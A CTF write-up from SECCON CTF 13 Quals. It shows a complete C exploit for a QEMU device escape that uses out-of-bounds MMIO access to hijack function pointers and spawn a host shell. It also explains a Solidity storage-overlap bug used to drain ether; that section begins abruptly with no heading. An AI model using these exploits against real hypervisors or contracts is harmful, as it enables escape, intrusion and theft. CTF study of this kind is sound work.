I played with the ADA INDONESIA COY team in the SECCON CTF 13 Quals. We managed to secure fifth place and qualify for the finals next March 2025. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork!
Below is the writeup for the challenges that I managed to solve.
Pwn
BabyQEMU
Description
nc babyqemu.seccon.games 3824
Initial Analysis
In this challenge, we were provided with a zip file containing a new driver which is added to the given QEMU. Let’s take a look on it:
The driver exposes a mmio interface that allows us to interact with it. Looking at the source code, here are the key operations we can perform:
We can write to the MMIO_SET_OFFSET register to configure the reg_mmio->offset value.
We can read from the MMIO_GET_DATA register to access the contents of buffer[reg_mmio->offset].
We can write to the MMIO_SET_DATA register to modify the contents of buffer[reg_mmio->offset].
Due to the access_size, we can only read or write up to 4 bytes at a time.
The bug in this driver is that there isn’t any limit to the reg_mmio->offset that we set, which means we have OOB read and write. Using this bug, the goal of this challenge is to escape QEMU so that we can read the flag on the host.
Solution
Let’s start by checking the device name so that we can communicate with it. First, let’s check the result of lspci inside QEMU:
1
2
3
4
5
6
7
8
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 4296:1338
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 1af4:1000
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
The device is 00:04 based on the vendor and device IDs defined in baby.h.
Now, we can communicate with the mmio driver. Due to the bugs, we can set up another helper to do OOB read and write relative to the buffer. The idea is:
To do OOB read, simply set the offset to the index that we want via MMIO_SET_OFFSET, and read the data via MMIO_GET_DATA.
To do OOB write, simply set the offset to the index that we want via MMIO_SET_OFFSET, and write the data via MMIO_SET_DATA.
Remember that we can only do reads and writes in 4-byte chunks, so in order to read or write a full 8 bytes, we need to do it twice (4 bytes at a time). Below is the helper that we made to make our life easier.
...// Get heap and pie leak
uint64_tleaked_pie=weak_read_8(-0x90);printf("leaked_pie = 0x%016lx\n",leaked_pie);uint64_tpie_base=leaked_pie-0x72fa50;printf("pie_base = 0x%016lx\n",pie_base);uint64_tleaked_heap=weak_read_8(-0x8);printf("leaked_heap = 0x%016lx\n",leaked_heap);uint64_tbuf_addr=leaked_heap-0x1748;// Write /bin/sh in heap
weak_write_8(0x10,0x68732f6e69622f);uint64_tbinsh_addr=buf_addr+0x10;// Create fake_ops in buffer
uint64_tmmio_write_addr=pie_base+0x3ae1b0;uint64_tsystem_plt=pie_base+0x324150;weak_write_8(0x0,system_plt);// mmio_read get overwritten to system
weak_write_8(0x8,mmio_write_addr);// keep mmio_write because we still need it
// Overwrite mmio.ops to point to our fake_ops
weak_write_8(-0xc8,buf_addr);// Make opaque point to our string /bin/sh
weak_write_4(-0xc0,binsh_addr);// Spawn shell
puts("Trigger mmio_read");getchar();mmio_read(0x0);...
Now that we have the complete exploit, we can run it on the remote server to escape QEMU and get the flag. Below is the full exploit:
#include<stdio.h>#include<string.h>#include<fcntl.h>#include<stdlib.h>#include<sys/mman.h>#include<unistd.h>#include<sys/io.h>#include<sys/types.h>#include<inttypes.h>#define MMIO_SET_OFFSET 0x0
#define MMIO_GET_DATA 0x8
#define MMIO_SET_DATA 0x8
unsignedchar*mmio_mem;voidmmio_write(uint64_taddr,uint64_tvalue){*(uint64_t*)(mmio_mem+addr)=value;}uint64_tmmio_read(uint64_taddr){return*(uint64_t*)(mmio_mem+addr);}uint64_tweak_read_8(uint64_toffset){mmio_write(MMIO_SET_OFFSET,offset);uint64_tlower_val=mmio_read(MMIO_GET_DATA)&0xFFFFFFFF;mmio_write(MMIO_SET_OFFSET,offset+4);lower_val+=((mmio_read(MMIO_GET_DATA)&0xFFFFFFFF)<<32);returnlower_val;}voidweak_write_8(uint64_toffset,uint64_tvalue){mmio_write(MMIO_SET_OFFSET,offset);mmio_write(MMIO_SET_DATA,value&0xFFFFFFFF);mmio_write(MMIO_SET_OFFSET,offset+4);mmio_write(MMIO_SET_DATA,value>>32);}voidweak_write_4(uint64_toffset,uint64_tvalue){mmio_write(MMIO_SET_OFFSET,offset);mmio_write(MMIO_SET_DATA,value&0xFFFFFFFF);}intmain(){intmmio_fd=open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR|O_SYNC);if(mmio_fd==-1){fprintf(stderr,"[!] Cannot open /sys/devices/pci0000:00/0000:00:04.0/resource0\n");exit(1);}mmio_mem=mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,mmio_fd,0);if(mmio_mem==MAP_FAILED){fprintf(stderr,"[!] mmio error\n");exit(1);}puts("[*] mmio done");// Get heap and pie leak
uint64_tleaked_pie=weak_read_8(-0x90);printf("leaked_pie = 0x%016lx\n",leaked_pie);uint64_tpie_base=leaked_pie-0x72fa50;printf("pie_base = 0x%016lx\n",pie_base);uint64_tleaked_heap=weak_read_8(-0x8);printf("leaked_heap = 0x%016lx\n",leaked_heap);uint64_tbuf_addr=leaked_heap-0x1748;// Write /bin/sh in heap
weak_write_8(0x10,0x68732f6e69622f);uint64_tbinsh_addr=buf_addr+0x10;// Create fake_ops in buffer
uint64_tmmio_write_addr=pie_base+0x3ae1b0;uint64_tsystem_plt=pie_base+0x324150;weak_write_8(0x0,system_plt);// mmio_read get overwritten to system
weak_write_8(0x8,mmio_write_addr);// keep mmio_write because we still need it
// Overwrite mmio.ops to point to our fake_ops
weak_write_8(-0xc8,buf_addr);// Make opaque point to our string /bin/sh
weak_write_4(-0xc0,binsh_addr);// Spawn shell
puts("Trigger mmio_read");getchar();mmio_read(0x0);}
We just need to upload the compiled executable to the server (via wget) and run it. This will allow us to escape QEMU and read the flag on the host.
The goal is to drain the contract’s native ether. Looking at the code, the bug is in the function _newWallet. The variable wallet is an uninitialized storage pointer, and due to this behavior, the wallet.name = name will actually overwrite storage slot 0.
If we take a careful look at the contract, storage slot 0 is the location where the array wallets length is stored. This means when we call createWallet, the bytes32 name that we pass will actually overwrite the array length.
Solution
Due to the previous bug, we can arbitrarily overwrite the array length. Now, let’s take a step back and check the Solidity documentation regarding slot calculation. When you try to access an array which is stored in slot 0, the elements will be stored starting at slot keccak256(abi.encode(0)), and subsequent elements will be stored in adjacent slots. Due to the structure of the struct Wallet, each element will occupy 3 slots to store its struct elements.
Based on this information, we can see that if we overwrite the array length to be large enough, there might be slot overlapping. After doing careful calculations, we find that if we:
Create a wallet with name 0x0, the element will occupy:
slot 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 <- name
Then, create a wallet with name 0x5555555555555555555555555555555555555555555555555555555555555555:
It will overwrite the array length value with the name, so the new pushed element will occupy slot (keccak256(abi.encode(0)) + 3*name) % 2**256, which means the newly pushed element’s slots start at 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e562.
We can observe that the second wallet’s slots overlap with wallet 0x0. Due to this overlap, the balance of wallet 0x0 is overwritten with the value of the owner of the second wallet.
This causes wallet 0x0’s balance to become huge, and we can easily withdraw 1 trillion ether now. To provide a better explanation, below is an illustration of what happens.
As you can see in the above illustration, wallet 0’s balance got overwritten due to the overlap :). So now, we can simply create those two wallets, and we will be able to withdraw the native ether via wallet 0x0. I used cast to do it because I was too lazy to make a script.